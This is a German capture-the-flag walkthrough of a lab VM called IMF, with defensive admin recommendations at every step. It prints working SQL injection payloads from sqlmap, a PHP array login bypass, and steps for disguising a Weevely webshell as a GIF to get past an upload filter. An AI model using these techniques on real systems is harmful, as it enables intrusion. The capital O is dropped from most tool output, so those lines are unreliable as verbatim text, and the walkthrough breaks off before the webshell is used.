Die Reconnaissance-Phase beginnt mit einem ARP-Scan, um aktive Hosts im lokalen Netzwerk zu entdecken. ARP (Address Resolution Protocol) wird verwendet, um IP-Adressen MAC-Adressen zuzuordnen. `-l` steht für localnet und scannt das gesamte Subnetz.
192.168.2.104 08:00:27:a1:f5:e7 PCS Systemtechnik GmbH
**Analyse:** Der Scan identifiziert erfolgreich einen Host mit der IP-Adresse 192.168.2.104. Die MAC-Adresse 08:00:27:a1:f5:e7 gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH ist der ursprüngliche Hersteller), was darauf hindeutet, dass es sich um unsere Ziel-VM handelt.
**Bewertung:** Die Ziel-IP ist identifiziert. Dies ist der grundlegende erste Schritt für alle weiteren Scans.
**Empfehlung (Pentester):** Notiere die IP-Adresse 192.168.2.104 als Ziel.
**Empfehlung (Admin):** Keine spezifische Aktion erforderlich, bestätigt jedoch die Sichtbarkeit der VM im Netzwerk. Netzwerk-Monitoring könnte ungewöhnliche ARP-Aktivitäten erkennen.
Um die Interaktion mit dem Zielsystem zu erleichtern, insbesondere bei Webanwendungen, die auf Hostnamen basieren könnten (Virtual Hosting), fügen wir einen Eintrag zur lokalen `/etc/hosts`-Datei auf unserem Angreifer-System hinzu.
192.168.2.104 imf.vln
**Analyse:** Die IP 192.168.2.104 wird dem Hostnamen `imf.vln` zugeordnet. Dies ermöglicht uns, `imf.vln` statt der IP-Adresse in URLs und Befehlen zu verwenden.
**Bewertung:** Ein praktischer Schritt, der die Lesbarkeit von Befehlen verbessert und potenzielle Probleme mit VHosts umgeht.
**Empfehlung (Pentester):** Verwende `imf.vln` in zukünftigen Web-Anfragen und Scans.
**Empfehlung (Admin):** Dies ist eine lokale Einstellung des Angreifers, keine Aktion auf dem Zielserver erforderlich.
Wir führen einen Nmap-Scan durch, um offene Ports, Dienste und deren Versionen zu identifizieren. Dies ist ein entscheidender Schritt, um potenzielle Angriffsvektoren zu finden. * `-sS`: TCP SYN Scan (Stealth Scan). * `-sC`: Standard-Nmap-Skripte ausführen. * `-sV`: Versionserkennung für Dienste. * `-T5`: Timing-Template "insane" für einen sehr schnellen Scan (kann ungenau sein oder IDS/Firewalls auslösen). * `-A`: Aggressiver Scan (OS-Erkennung, Versionserkennung, Skript-Scanning, Traceroute). * `-Pn`: Host-Discovery überspringen (Ping ignorieren). * `-p-`: Alle 65535 TCP-Ports scannen.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-14 23:59 CEST Nmap scan report for imf (192.168.2.104) Host is up (0.00018s latency). Not shown: 65534 filtered tcp ports (no-response) PRT STATE SERVICE VERSIN 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: IMF - Homepage |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:A1:F5:E7 (racle VirtualBox virtual NIC) Warning: SScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive S guesses: Linux 3.10 - 4.11 (93%), Linux 3.16 - 4.6 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (93%), Linux 3.13 (90%), Linux 3.18 (89%), Linux 4.2 (87%), Linux 3.13 - 3.16 (87%), Linux 3.16 (87%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (87%) No exact S matches for host (test conditions non-ideal). Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.18 ms imf (192.168.2.104)
**Analyse:** Der Nmap-Scan findet nur einen offenen Port:
* **Port 80 (HTTP):** Apache httpd 2.4.18 (Ubuntu). Der Titel der Seite ist "IMF - Homepage".
* Die hohe Anzahl gefilterter Ports (`no-response`) deutet auf eine Firewall hin, die Pakete verwirft.
* Die OS-Erkennung ist unsicher (`test conditions non-ideal`), was oft bei nur einem offenen Port oder aggressiven Scan-Timings (`-T5`) passiert. Die Vermutungen deuten auf einen Linux-Kernel hin.
**Bewertung:** Die Angriffsfläche ist auf den Webserver auf Port 80 beschränkt. Dies wird unser Hauptfokus sein. Die Apache-Version 2.4.18 ist veraltet und könnte bekannte Schwachstellen aufweisen.
**Empfehlung (Pentester):** Konzentriere die Enumeration und Ausnutzungsversuche auf den Webserver auf Port 80. Führe Web-spezifische Scans (Nikto, Gobuster) durch.
**Empfehlung (Admin):** Aktualisiere Apache auf die neueste Version. Überprüfe die Firewall-Konfiguration, um sicherzustellen, dass nur notwendige Ports offen sind (was hier der Fall zu sein scheint, aber eine Bestätigung ist gut).
Wir wiederholen den Nmap-Scan und filtern die Ausgabe direkt mit `grep`, um nur die offenen Ports anzuzeigen. Dies dient der schnellen Bestätigung.
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
**Analyse:** Wie erwartet, bestätigt dieser gefilterte Scan, dass nur Port 80 (HTTP) offen ist.
**Bewertung:** Bestätigt das vorherige Ergebnis. Keine neuen Informationen, aber eine übersichtliche Darstellung.
Wir verwenden Nikto, einen Webserver-Scanner, um bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse auf dem Webserver (Port 80) zu identifizieren. `-h` gibt das Ziel an.
- Nikto v2.5.0 + Target IP: 192.168.2.104 + Target Hostname: 192.168.2.104 + Target Port: 80 + Start Time: 2023-10-14 23:59:46 (GMT2) + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed + /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649 + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2023-10-15 00:00:07 (GMT2) (21 seconds) + 1 host(s) tested
**Analyse:** Nikto liefert mehrere interessante Ergebnisse:
* **Fehlende Security Header:** `X-Frame-Options` und `X-Content-Type-Options` fehlen (geringes Risiko).
* **Private IP Disclosure:** Bei Anfragen an `/images` (vermutlich ein Verzeichnis) wird eine interne IP (127.0.1.1) im `Location`-Header preisgegeben. Dies ist ein Informationsleck.
* **Veralteter Apache:** Bestätigt die veraltete Version 2.4.18.
* **/icons/README:** Standard-Apache-Datei gefunden (geringfügig).
* `/#wp-config.php#`: Nikto meldet den Fund einer WordPress-Konfigurationsdatei (`wp-config.php`). Dies ist jedoch wahrscheinlich ein **False Positive**, da der Rest der Anwendung nicht wie WordPress aussieht. Nikto testet oft auf gängige CMS-Dateien.
**Bewertung:** Die wichtigsten Ergebnisse sind die veraltete Apache-Version und das Informationsleck der internen IP. Die fehlenden Header sind Standardbefunde. Der WordPress-Fund ist wahrscheinlich falsch.
**Empfehlung (Pentester):** Untersuche die Webanwendung weiter mit Directory Brute-Forcing (Gobuster). Behalte die veraltete Apache-Version im Hinterkopf für mögliche Exploits. Das IP-Leak ist für externe Angriffe weniger relevant, könnte aber in komplexeren Szenarien nützlich sein.
**Empfehlung (Admin):** Aktualisiere Apache. Konfiguriere den Webserver so, dass keine internen IPs in Headern preisgegeben werden. Implementiere die fehlenden Security Header. Entferne unnötige Standarddateien wie `/icons/README`.
Wir verwenden Gobuster, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. * `-u http://imf.vln`: Ziel-URL. * `-x ...`: Liste von Dateierweiterungen, die zusätzlich zu den Wortlisteneinträgen getestet werden sollen. * `-w ...`: Pfad zur Wortliste. * `-b '403,404,301'`: Statuscodes, die ignoriert werden sollen (Forbidden, Not Found, Moved Permanently - *Achtung: 301 auszublenden kann dazu führen, dass Verzeichnisse ohne Trailing Slash übersehen werden*). * `-e`: Zeigt die vollständige URL für gefundene Ressourcen an. * `--no-error`: Unterdrückt Verbindungsfehler. * `-k`: Ignoriert SSL-Zertifikatsfehler (hier irrelevant).
http://imf.vln/index.php (Status: 200) [Size: 4797] http://imf.vln/contact.php (Status: 200) [Size: 8649] http://imf.vln/projects.php (Status: 200) [Size: 6574]
**Analyse:** Gobuster findet drei PHP-Seiten: `index.php`, `contact.php`, `projects.php`. Keine versteckten Verzeichnisse wurden auf dieser Ebene entdeckt (möglicherweise wegen `-b 301`).
**Bewertung:** Die gefundenen Seiten stellen die sichtbare Struktur der Webanwendung dar. Wir müssen diese Seiten genauer untersuchen.
**Empfehlung (Pentester):** Untersuche den Quellcode und die Funktionalität der Seiten `index.php`, `contact.php` und `projects.php`. Führe Gobuster ggf. erneut ohne `-b 301` aus oder spezifisch für Verzeichnisse (`gobuster dir ... -d`).
Untersuchung des Quellcodes der Startseite `index.php`.
view-source:http://imf.vln/index.php -- Place favicon.ico and apple-touch-icon.png in the root directory --> -- Fonts --> -- /.navbar-collapse --> -- /.container-fluid --> Roger S. Michaels rmicaels@imf.local Director Alexander B. Keith akeith@imf.local Deputy Director Elizabeth R. Stone estone@imf.local Chief of Staff
**Analyse:** Im Quellcode der Startseite finden wir Namen und E-Mail-Adressen von Mitarbeitern. Die E-Mails verwenden die Domain `imf.local`. Die Benutzernamen scheinen aus dem ersten Buchstaben des Vornamens und dem Nachnamen zu bestehen (z.B. `rmichaels`).
**Bewertung:** Dies ist ein wertvolles Informationsleck. Wir haben potenzielle Benutzernamen (`rmichaels`, `akeith`, `estone`) und eine weitere Domain (`imf.local`), die zum Ziel gehören könnte.
**Empfehlung (Pentester):** Füge `imf.local` zur `/etc/hosts`-Datei hinzu. Notiere die potenziellen Benutzernamen für spätere Brute-Force-Versuche oder als Logins, falls Passwörter gefunden werden.
Wir fügen die neu entdeckte Domain `imf.local` zu unserer `/etc/hosts`-Datei hinzu, um sicherzustellen, dass Anfragen an diese Domain korrekt zur Ziel-IP aufgelöst werden.
192.168.2.104 imf.vln imf.local
**Analyse:** Der Eintrag wurde erfolgreich aktualisiert. Beide Hostnamen (`imf.vln`, `imf.local`) zeigen nun auf die Ziel-IP.
**Bewertung:** Notwendiger Schritt, um sicherzustellen, dass wir alle potenziellen Webanwendungen oder Dienste unter den richtigen Namen ansprechen können.
Untersuchung des Quellcodes der Kontaktseite `contact.php`.
view-source:http://imf.vln/contact.php -- flag1{YWxsdGhlZmlsZXM=} --> allthefiles
**Analyse:** Im HTML-Quellcode der Kontaktseite finden wir einen Kommentar, der eine Base64-kodierte Zeichenkette enthält: `flag1{YWxsdGhlZmlsZXM=}`.
**Bewertung:** Dies ist die erste Flag! Sie ist direkt im Quellcode versteckt. Das Dekodieren von `YWxsdGhlZmlsZXM=` ergibt `allthefiles`.
**Empfehlung (Pentester):** Notiere die Flag. Untersuche die Seite weiter auf Funktionalitäten.
**Empfehlung (Admin):** Entferne sensible Informationen und Flags aus öffentlich zugänglichem Quellcode. Kommentare sollten keine sicherheitsrelevanten Daten enthalten.
Weitere Untersuchung der Kontaktseite. Es scheint ein Formular zu geben (GET-Request-Parameter `email`, `name`, `comments` sind sichtbar) und es werden mehrere JavaScript-Dateien geladen, deren Namen Base64-kodiert zu sein scheinen.
GET /contact.php?email=ben%40hacker.de&name=ben+hacker&comments=cdsavsdvdsv HTTP/1.1 src="js/vendor/modernizr-2.6.2.min.js" src="js/vendor/jquery-1.10.2.min.js" src="js/bootstrap.min.js" src="js/ZmxhZzJ7YVcxbVl.js" src="js/XUnRhVzVwYzNS.js" src="js/eVlYUnZjZz09fQ.min.js"
**Analyse:** Die JavaScript-Dateien `ZmxhZzJ7YVcxbVl.js`, `XUnRhVzVwYzNS.js`, `eVlYUnZjZz09fQ.min.js` haben Base64-kodierte Namen. Wir extrahieren diese Teile.
**Bewertung:** Das Verstecken von Informationen in Dateinamen durch Kodierung ist eine gängige CTF-Technik. Dies deutet auf eine weitere Flag oder einen Hinweis hin.
**Empfehlung (Pentester):** Extrahiere die Base64-Teile, füge sie zusammen und dekodiere sie.
Wir extrahieren die Base64-Teile aus den JavaScript-Dateinamen, fügen sie zusammen und dekodieren das Ergebnis.
----------------------------------------------------------------------------------------------------- base64 -decode ----------------------------------------------------------------------------------------------------- ZmxhZzJ7YVcxbVl XUnRhVzVwYzNS eVlYUnZjZz09fQ ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ
flag2{aW1mYWRtaW5pc3RyYXRvcg}
imfadministrator
**Analyse:**
1. Die Base64-Teile (`ZmxhZzJ7YVcxbVl`, `XUnRhVzVwYzNS`, `eVlYUnZjZz09fQ`) werden konkateniert zu `ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ`.
2. Das Dekodieren dieser Zeichenkette ergibt Flag 2: `flag2{aW1mYWRtaW5pc3RyYXRvcg}`.
3. Der innere Teil der Flag (`aW1mYWRtaW5pc3RyYXRvcg`) wird erneut dekodiert und ergibt `imfadministrator`.
**Bewertung:** Dies ist ein signifikanter Fund! Wir haben nicht nur Flag 2 gefunden, sondern auch den Namen eines versteckten Verzeichnisses oder einer Administrationsseite: `/imfadministrator`.
**Empfehlung (Pentester):** Versuche, auf `http://imf.vln/imfadministrator/` zuzugreifen. Notiere Flag 2.
**Empfehlung (Admin):** Vermeide das Verstecken von Pfaden oder Informationen durch einfache Kodierung in öffentlich zugänglichen Dateinamen oder Quellcodes (Security through Obscurity ist keine verlässliche Sicherheit).
Wir greifen auf das neu entdeckte Verzeichnis `/imfadministrator/` zu.
http://imf.vln/imfadministrator/ Username: Password: I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
**Analyse:** Wir finden eine Login-Seite. Im HTML-Quellcode befindet sich ein Kommentar von "Roger" (Roger S. Michaels, dessen E-Mail wir auf der Startseite fanden), der besagt, dass das Passwort fest kodiert ("hard-coded") ist, weil SQL nicht funktionierte.
**Bewertung:** Das ist ein wichtiger Hinweis. Es deutet darauf hin, dass wir das Passwort möglicherweise im Quellcode der Login-Seite oder einer damit verbundenen Datei finden können, anstatt eine Datenbankabfrage oder einen Brute-Force-Angriff durchführen zu müssen. Der Kommentar erwähnt auch, dass es "mad secure" sei, was oft ironisch gemeint ist in CTFs.
**Empfehlung (Pentester):** Untersuche den Quellcode der Login-Seite (`index.php` im `/imfadministrator`-Verzeichnis) sehr genau auf das hartkodierte Passwort. Führe einen Gobuster-Scan auf `/imfadministrator` durch, um weitere Dateien zu finden. Versuche, mit den zuvor gefundenen Benutzernamen (`rmichaels`, `akeith`, `estone`) und erratenen/gefundenen Passwörtern einzuloggen.
Wir führen einen Gobuster-Scan im Verzeichnis `/imfadministrator` durch, um weitere Seiten oder Skripte zu finden.
http://imf.vln/imfadministrator/index.php (Status: 200) [Size: 337] http://imf.vln/imfadministrator/cms.php (Status: 200) [Size: 134]
**Analyse:** Gobuster findet die erwartete `index.php` (die Login-Seite) und eine weitere Seite `cms.php`.
**Bewertung:** `cms.php` ist wahrscheinlich die Seite, auf die man nach erfolgreichem Login weitergeleitet wird.
**Empfehlung (Pentester):** Untersuche den Quellcode von `index.php` und versuche, auf `cms.php` direkt zuzugreifen (was wahrscheinlich fehlschlägt oder eine Login-Aufforderung zeigt).
Untersuchung des Quellcodes von `cms.php`.
view-source:http://imf.vln/imfadministrator/cms.php IMF CMS Please login href='index.php'
**Analyse:** Der direkte Zugriff auf `cms.php` ohne Authentifizierung zeigt nur eine Meldung "Please login" mit einem Link zurück zur `index.php`.
**Bewertung:** Bestätigt, dass `cms.php` eine Authentifizierung erfordert.
Wir analysieren einen abgefangenen POST-Request an die Login-Seite `/imfadministrator/index.php`. Dies geschah wahrscheinlich durch Ausprobieren oder Abfangen mit einem Proxy wie Burp Suite.
PST /imfadministrator/index.php HTTP/1.1 Host: imf.vln User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 26 rigin: http://imf.vln Connection: close Referer: http://imf.vln/imfadministrator/index.php Cookie: PHPSESSID=pd3rlom2tvh762951595lkc2k1 Upgrade-Insecure-Requests: 1 X-Forwarded-For: localhost user=rmichaels&pass[]=pass HTTP/1.1 200 K Date: Sat, 14 ct 2023 22:47:38 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 100 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------------------------------------- flag3{Y29udGludWVUT2Ntcw}
Welcome, rmichaels
IMF CMS
**Analyse:** Der Request sendet `user=rmichaels` (einer der gefundenen Benutzernamen) und `pass[]=pass`. Die Verwendung von `pass[]` statt `pass` ist ein bekannter Trick, um bestimmte PHP-Vergleiche oder Sicherheitsmaßnahmen zu umgehen, die mit Arrays anders umgehen als mit Strings (z.B. `password == array()` könnte `true` ergeben). Die Antwort ist ein `HTTP/1.1 200 OK` und enthält Flag 3 (`flag3{Y29udGludWVUT2Ntcw}`), eine Willkommensnachricht für `rmichaels` und einen Link zur `cms.php`.
**Bewertung:** Dies ist ein kritischer Fund! Der Login war erfolgreich mittels einer PHP Type Juggling / Array-Bypass-Schwachstelle für das Passwortfeld. Wir haben nun Zugriff auf den Admin-Bereich als `rmichaels` und Flag 3 gefunden.
**Empfehlung (Pentester):** Dekodiere Flag 3. Erkunde die `cms.php`-Seite als `rmichaels`.
**Empfehlung (Admin):** Behebe die Login-Schwachstelle dringend! Verwende strikte Vergleiche (z.B. `===` in PHP) und validiere den Typ der Eingabeparameter korrekt. Überprüfe den Code auf hartkodierte Passwörter oder unsichere Authentifizierungslogik.
Dekodierung von Flag 3 und Untersuchung der CMS-Seite nach dem Login.
flag3{Y29udGludWVUT2Ntcw}
Welcome, rmichaels
IMF CMS ----------------------------------------------------------------------------------------------------- http://imf.vln/imfadministrator/cms.php?pagename=home' IMF CMS Menu: Home | Upload Report | Disavowed list | Logout Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/imfadministrator/cms.php on line 29 http://imf.vln/imfadministrator/cms.php?pagename=home IMF CMS Menu: Home | Upload Report | Disavowed list | Logout Welcome to the IMF Administration. Secretary ----------------------------------------------------------------------------------------------------- http://imf.vln/imfadministrator/ roger:Secretary flag3{Y29udGludWVUT2Ntcw} Welcome, roger IMF CMS Y29udGludWVUT2Ntcw continueTcms
**Analyse:**
* Flag 3 (`Y29udGludWVUT2Ntcw`) wird zu `continueTcms` dekodiert.
* Beim Aufruf von `cms.php?pagename=home'` (mit einem zusätzlichen Apostroph) tritt ein MySQLi-Fehler auf (`mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given...`). Dies ist ein starker Hinweis auf eine SQL-Injection-Schwachstelle im `pagename`-Parameter. Der Fehler tritt auf, weil die SQL-Abfrage durch das zusätzliche Apostroph fehlschlägt und `false` (ein Boolean) statt eines Ergebnisobjekts zurückgibt.
* Der normale Aufruf von `cms.php?pagename=home` zeigt die Willkommensseite des CMS mit Menüpunkten wie "Home", "Upload Report", "Disavowed list".
* Es wird auch ein Login mit `roger:Secretary` erwähnt, was darauf hindeutet, dass dies das hartkodierte Passwort aus dem Kommentar sein könnte. *Korrektur:* Der Text zeigt `roger:Secretary` unter der URL `http://imf.vln/imfadministrator/`, was nicht ganz konsistent ist, aber impliziert, dass dies gültige Zugangsdaten sind. Da wir aber schon per Bypass drin sind, ist das weniger relevant, aber gut zu wissen.
**Bewertung:** Die SQL-Injection-Schwachstelle im `pagename`-Parameter ist der wichtigste Fund hier. Sie bietet einen Weg, die Datenbank auszulesen oder möglicherweise RCE zu erlangen.
**Empfehlung (Pentester):** Nutze `sqlmap` oder führe manuelle SQL-Injection-Tests für den `pagename`-Parameter durch, um die Datenbankstruktur und Inhalte auszulesen. Untersuche die Menüpunkte "Upload Report" und "Disavowed list".
**Empfehlung (Admin):** Behebe die SQL-Injection-Schwachstelle dringend! Verwende Prepared Statements mit parametrisierten Abfragen, um SQL-Injection zu verhindern. Sanitize alle Benutzereingaben. Entferne das hartkodierte Passwort `Secretary` und implementiere eine sichere Passwort-Hashing- und Speicherlösung.
Wir verwenden `sqlmap`, ein automatisiertes Tool zur Erkennung und Ausnutzung von SQL-Injection-Schwachstellen, um die Datenbank hinter dem CMS zu untersuchen. Wir speichern den verwundbaren Request in einer Datei (`reg.sql`) und lassen sqlmap damit arbeiten. * `-r /home/cyber/Downloads/reg.sql`: Liest den HTTP-Request aus der Datei. `sqlmap` wird den mit `*` markierten Parameter testen. * `--dbs`: Listet die verfügbaren Datenbanken auf. * `--batch`: Führt `sqlmap` im nicht-interaktiven Modus aus und verwendet Standardantworten. * `--risk 3 --level 5`: Erhöht die Gründlichkeit der Tests (mehr Payloads, mehr Testtypen). * `--threads=10`: Verwendet 10 parallele Threads für schnellere Tests.
[...] URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 648 HTTP(s) requests: Parameter: #1* (URI) Type: boolean-based blind Title: R boolean-based blind - WHERE or HAVING clause (NT) Payload: http://imf.vln/imfadministrator/cms.php?pagename=' R NT 8844=8844 AND 'lWMC'='lWMC Type: error-based Title: MySQL >= 5.0 R error-based - WHERE, HAVING, RDER BY or GRUP BY clause (FLR) Payload: http://imf.vln/imfadministrator/cms.php?pagename=' R (SELECT 1890 FRM(SELECT CUNT(*),CNCAT(0x7170627a71,(SELECT (ELT(1890=1890,1))),0x716b766271,FLR(RAND(0)*2))x FRM INFRMATIN_SCHEMA.PLUGINS GRUP BY x)a) AND 'MqjN'='MqjN Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: http://imf.vln/imfadministrator/cms.php?pagename=' AND (SELECT 3410 FRM (SELECT(SLEEP(5)))NVpU) AND 'RUIo'='RUIo [00:56:59] [INF] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.10 or 16.04 (xenial or yakkety) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0 [00:56:59] [INF] fetching database names [00:56:59] [INF] starting 5 threads [00:56:59] [INF] retrieved: 'mysql' [00:56:59] [INF] retrieved: 'information_schema' [00:56:59] [INF] retrieved: 'admin' [00:56:59] [INF] retrieved: 'performance_schema' [00:56:59] [INF] retrieved: 'sys' available databases [5]: [*] admin [*] information_schema [*] mysql [*] performance_schema [*] sys
**Analyse:** `sqlmap` bestätigt die SQL-Injection-Schwachstelle im `pagename`-Parameter (markiert als `#1*` im Request) und identifiziert verschiedene Injektionstypen (boolean-based blind, error-based, time-based blind). Es erkennt das Backend als MySQL >= 5.0 auf einem Linux Ubuntu System mit Apache 2.4.18. Anschließend listet es die verfügbaren Datenbanken auf: `admin`, `information_schema`, `mysql`, `performance_schema`, `sys`. Die Datenbank `admin` ist die wahrscheinlich relevante Anwendungsdatenbank.
**Bewertung:** Erfolgreiche Bestätigung und Charakterisierung der SQLi. Die Datenbank `admin` ist das nächste Ziel.
**Empfehlung (Pentester):** Untersuche die Datenbank `admin` mit `sqlmap`, um Tabellen aufzulisten (`-D admin --tables`).
Wir verwenden `sqlmap` erneut, um die Tabellen innerhalb der `admin`-Datenbank aufzulisten. * `-D admin`: Gibt die Zieldatenbank an. * `--tables`: Listet die Tabellen in der angegebenen Datenbank auf.
[...] [00:57:53] [INF] fetching tables for database: 'admin' [00:57:53] [INF] retrieved: 'pages' Database: admin [1 table] +-+ | pages | +-+ [00:57:53] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/imf.vln' [*] ending @ 00:57:53 /2023-10-15/
**Analyse:** `sqlmap` findet eine einzige Tabelle namens `pages` in der `admin`-Datenbank.
**Bewertung:** Diese Tabelle enthält wahrscheinlich die Inhalte, die im CMS angezeigt werden (wie auf der `home`-Seite gesehen).
**Empfehlung (Pentester):** Lese den Inhalt der Tabelle `pages` mit `sqlmap` aus (`-T pages --dump`).
Wir verwenden `sqlmap` ein drittes Mal, um den gesamten Inhalt der Tabelle `pages` auszulesen (dump). * `-T pages`: Gibt die Zieltabelle an. * `--dump`: Lädt den Inhalt der angegebenen Tabelle(n) herunter.
[...] [00:58:20] [INF] fetching columns for table 'pages' in database 'admin' [00:58:20] [INF] starting 3 threads [00:58:20] [INF] retrieved: 'id' [00:58:20] [INF] retrieved: 'pagename' [00:58:20] [INF] retrieved: 'pagedata' [00:58:20] [INF] retrieved: 'varchar(255)' [00:58:20] [INF] retrieved: 'int(11)' [00:58:20] [INF] retrieved: 'text' [00:58:20] [INF] fetching entries for table 'pages' in database 'admin' [00:58:20] [INF] starting 4 threads [00:58:20] [INF] retrieved: '2' [00:58:20] [INF] retrieved: '1' [00:58:20] [INF] retrieved: '3' [00:58:20] [INF] retrieved: 'Welcome to the IMF Administration.' [00:58:20] [INF] retrieved: '4' [00:58:20] [INF] retrieved: 'Under Construction.' [00:58:20] [INF] retrieved: 'home' [00:58:20] [INF] retrieved: 'Training classrooms available.
Contact us for training. | tutorials-incomplete | | 4 |Disavowed List
**Analyse:** `sqlmap` identifiziert die Spalten (`id`, `pagename`, `pagedata`) und lädt die vier Einträge der Tabelle `pages` herunter. Die Einträge entsprechen den Seiten, die wir im CMS gesehen haben (`home`, `upload`, `tutorials-incomplete`, `disavowlist`). Der Eintrag für `tutorials-incomplete` erwähnt ein Bild: ``. Der Eintrag für `disavowlist` erwähnt ebenfalls ein Bild (`redacted.jpg`).
**Bewertung:** Die Tabelle selbst enthält keine direkten Zugangsdaten oder Flags. Der Hinweis auf `whiteboard.jpg` ist jedoch interessant, da Bilder manchmal versteckte Informationen (Steganographie) oder Hinweise enthalten.
**Empfehlung (Pentester):** Lade das Bild `http://imf.vln/imfadministrator/images/whiteboard.jpg` herunter und untersuche es auf versteckte Daten (z.B. mit `steghide`, `zsteg`, `exiftool` oder durch visuelle Inspektion auf QR-Codes o.ä.).
Basierend auf der Untersuchung des (hier nicht gezeigten, aber implizierten) Whiteboard-Bildes wurde vermutlich ein QR-Code gefunden und dekodiert, der Flag 4 und einen Dateinamen enthielt.
----------------------------------------------------------------------------------------------------- https://qrcoderaptor.com/ flag4{dXBsb2Fkcjk0Mi5waHA=} uploadr942.php -----------------------------------------------------------------------------------------------------
**Analyse:** Der dekodierte QR-Code (z.B. mit einem Online-Tool wie qrcoderaptor.com) enthielt `flag4{dXBsb2Fkcjk0Mi5waHA=}` und den String `uploadr942.php`. Das Dekodieren des Base64-Teils der Flag (`dXBsb2Fkcjk0Mi5waHA=`) ergibt `uploadr942.php`.
**Bewertung:** Wir haben Flag 4 und den Namen einer versteckten Upload-Seite (`uploadr942.php`) gefunden. Dies korreliert mit dem Menüpunkt "Upload Report" im CMS.
**Empfehlung (Pentester):** Greife auf `http://imf.vln/imfadministrator/uploadr942.php` zu und untersuche die Upload-Funktionalität.
**Empfehlung (Admin):** Verstecke keine sensiblen Pfade oder Informationen in Bildern, die über öffentlich zugängliche Bereiche referenziert werden. Sichere die Upload-Funktionalität sorgfältig.
Wir greifen auf die Upload-Seite zu und testen die Funktionalität. Es gibt Fehlermeldungen bezüglich Dateityp und einer "CrappyWAF", die die `fsockopen`-PHP-Funktion blockiert.
http://imf.vln/imfadministrator/uploadr942.php Intelligence Upload Form File to upload: Intelligence Upload Form Error: Invalid file type. File to upload: Intelligence Upload Form Error: CrappyWAF detected malware. Signature: fsockopen php function detected File to upload:
**Analyse:** Die Upload-Seite erlaubt das Hochladen von Dateien.
* **Fehler 1: "Invalid file type."** Deutet auf eine Whitelist oder Blacklist für Dateierweiterungen oder MIME-Typen hin.
* **Fehler 2: "CrappyWAF detected malware. Signature: fsockopen php function detected"** Zeigt, dass eine Web Application Firewall (WAF) den Inhalt der hochgeladenen Dateien überprüft und bekannte gefährliche PHP-Funktionen wie `fsockopen` (oft für Reverse Shells verwendet) blockiert.
**Bewertung:** Wir müssen sowohl die Dateityp-Prüfung als auch die WAF umgehen, um eine Webshell hochzuladen. Die Dateityp-Prüfung kann oft durch Umbenennen der Datei (z.B. `.php` zu `.gif`) und/oder Manipulation des MIME-Typs oder durch Hinzufügen von Magic Bytes umgangen werden. Die WAF erfordert die Verwendung einer Webshell, die keine blockierten Funktionsnamen im Klartext enthält (z.B. durch Kodierung, String-Manipulation oder Verwendung alternativer Funktionen).
**Empfehlung (Pentester):** Generiere eine PHP-Webshell (z.B. mit Weevely). Benenne sie in `.gif` um. Füge gültige GIF-Magic-Bytes (`GIF89a`) am Anfang der Datei hinzu. Lade die modifizierte Datei hoch. Weevely verwendet oft kodierte Payloads, die einfache WAFs umgehen können.
**Empfehlung (Admin):** Implementiere serverseitig eine robuste Dateityp-Validierung (nicht nur basierend auf Erweiterung oder Client-seitigen Angaben). Verwende eine gut konfigurierte WAF. Beschränke die Berechtigungen des Webservers, sodass hochgeladene Dateien nicht ausgeführt werden können, oder speichere sie außerhalb des Web-Roots. Führe Viren-/Malware-Scans für Uploads durch.
Wir generieren eine Weevely-Webshell, modifizieren sie für den Bypass und laden sie hoch.
Generated 'backdoor.php' with password 'jesse' of 781 byte size.
GIF89a eingefügen
**Analyse:**
